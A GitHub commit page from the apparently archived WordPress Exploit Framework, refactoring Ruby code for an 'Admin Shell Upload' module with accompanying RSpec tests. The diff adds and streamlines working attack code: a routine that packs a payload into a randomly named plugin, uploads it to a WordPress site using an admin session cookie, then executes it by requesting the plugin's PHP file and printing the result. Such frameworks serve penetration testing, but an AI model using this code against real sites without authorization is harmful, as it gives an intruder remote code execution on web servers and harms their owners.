Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 19197c4

Browse files
committed
Abstract generic payload plugin upload code
1 parent 3f0d1d1 commit 19197c4

File tree

3 files changed

+78
-52
lines changed

3 files changed

+78
-52
lines changed

lib/wpxf/wordpress/plugin.rb

Lines changed: 26 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,12 @@ module Wpxf::WordPress::Plugin
77
# @return [String, nil] the nonce, nil on error.
88
def wordpress_plugin_upload_nonce(cookie)
99
res = execute_get_request(url: wordpress_url_plugin_upload, cookie: cookie)
10-
if res && res.code == 200
10+
11+
if res&.code == 200
1112
return res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
1213
end
14+
15+
nil
1316
end
1417

1518
# Create and upload a plugin that encapsulates the current payload.
@@ -22,11 +25,29 @@ def wordpress_upload_payload_plugin(name, payload_name, cookie)
2225
return false if nonce.nil?
2326

2427
res = wordpress_upload_plugin(name, payload_name, cookie, nonce)
25-
if res && res.code == 200
26-
return true
27-
else
28-
return false
28+
res&.code == 200
29+
end
30+
31+
# Upload and execute a payload as a plugin.
32+
# @param plugin_name [String] the name of the plugin.
33+
# @param payload_name [String] the name the payload should use on the server.
34+
# @param cookie [String] a valid admin session cookie.
35+
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
36+
def wordpress_upload_and_execute_payload_plugin(plugin_name, payload_name, cookie)
37+
unless wordpress_upload_payload_plugin(plugin_name, payload_name, cookie)
38+
emit_error 'Failed to upload the payload'
39+
return nil
2940
end
41+
42+
payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
43+
emit_info "Executing the payload at #{payload_url}..."
44+
res = execute_get_request(url: payload_url)
45+
46+
if res&.code == 200 && !res.body.strip.empty?
47+
emit_success "Result: #{res.body}"
48+
end
49+
50+
res
3051
end
3152

3253
# Generate a valid WordPress plugin header / base file.

modules/exploits/admin_shell_upload.rb

Lines changed: 19 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -11,65 +11,37 @@ def initialize
1111

1212
update_info(
1313
name: 'Admin Shell Upload',
14-
desc: 'This module will generate a plugin, pack the payload into it and '\
15-
'upload it to a server running WordPress; providing valid admin '\
16-
'credentials are used.',
17-
author: ['Rob Carr <rob[at]rastating.com>'],
14+
desc: %(
15+
This module will generate a plugin, pack the payload into it and
16+
upload it to a server running WordPress; providing valid admin
17+
credentials are used.
18+
),
19+
author: [
20+
'rastating'
21+
],
1822
date: 'Feb 21 2015'
1923
)
20-
21-
register_options([
22-
StringOption.new(
23-
name: 'username',
24-
desc: 'The WordPress username to authenticate with',
25-
required: true
26-
),
27-
StringOption.new(
28-
name: 'password',
29-
desc: 'The WordPress password to authenticate with',
30-
required: true
31-
)
32-
])
3324
end
3425

35-
def username
36-
normalized_option_value('username')
37-
end
38-
39-
def password
40-
normalized_option_value('password')
26+
def check
27+
return :vulnerable if wordpress_and_online?
28+
:unknown
4129
end
4230

43-
def check
44-
if wordpress_and_online?
45-
return :vulnerable
46-
else
47-
return :unknown
48-
end
31+
def requires_authentication
32+
true
4933
end
5034

5135
def run
5236
return false unless super
5337

54-
cookie = authenticate_with_wordpress(username, password)
55-
return false unless cookie
56-
5738
emit_info 'Uploading payload...'
58-
plugin_name = Utility::Text.rand_alpha(10)
59-
payload_name = Utility::Text.rand_alpha(10)
60-
unless wordpress_upload_payload_plugin(plugin_name, payload_name, cookie)
61-
emit_error 'Failed to upload the payload'
62-
return false
63-
end
64-
65-
payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
66-
emit_info "Executing the payload at #{payload_url}..."
67-
res = execute_get_request(url: payload_url)
68-
69-
if res && res.code == 200 && !res.body.strip.empty?
70-
emit_success "Result: #{res.body}"
71-
end
39+
res = wordpress_upload_and_execute_payload_plugin(
40+
Utility::Text.rand_alpha(10),
41+
Utility::Text.rand_alpha(10),
42+
session_cookie
43+
)
7244

73-
true
45+
!res.nil?
7446
end
7547
end

spec/wordpress/plugin_spec.rb

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -89,4 +89,37 @@
8989
expect(res).to be false
9090
end
9191
end
92+
93+
describe '#wordpress_upload_and_execute_payload_plugin' do
94+
context 'when the plugin fails to upload' do
95+
it 'returns nil' do
96+
res = subject.wordpress_upload_and_execute_payload_plugin('', '', '')
97+
expect(res).to be_nil
98+
end
99+
end
100+
101+
context 'when the execution returns status 200' do
102+
let(:code) { 200 }
103+
let(:body) { 'res content' }
104+
it 'emits the response content' do
105+
allow(subject).to receive(:wordpress_upload_payload_plugin).and_return true
106+
107+
emitted_content = false
108+
allow(subject).to receive(:emit_success) do |p1|
109+
emitted_content = p1 == 'Result: res content'
110+
end
111+
112+
subject.wordpress_upload_and_execute_payload_plugin('', '', '')
113+
expect(emitted_content).to be true
114+
end
115+
end
116+
117+
context 'when the payload is executed' do
118+
it 'returns the HttpResponse of the payload request' do
119+
allow(subject).to receive(:wordpress_upload_payload_plugin).and_return true
120+
res = subject.wordpress_upload_and_execute_payload_plugin('', '', '')
121+
expect(res).to be_kind_of Wpxf::Net::HttpResponse
122+
end
123+
end
124+
end
92125
end

0 commit comments

Comments
 (0)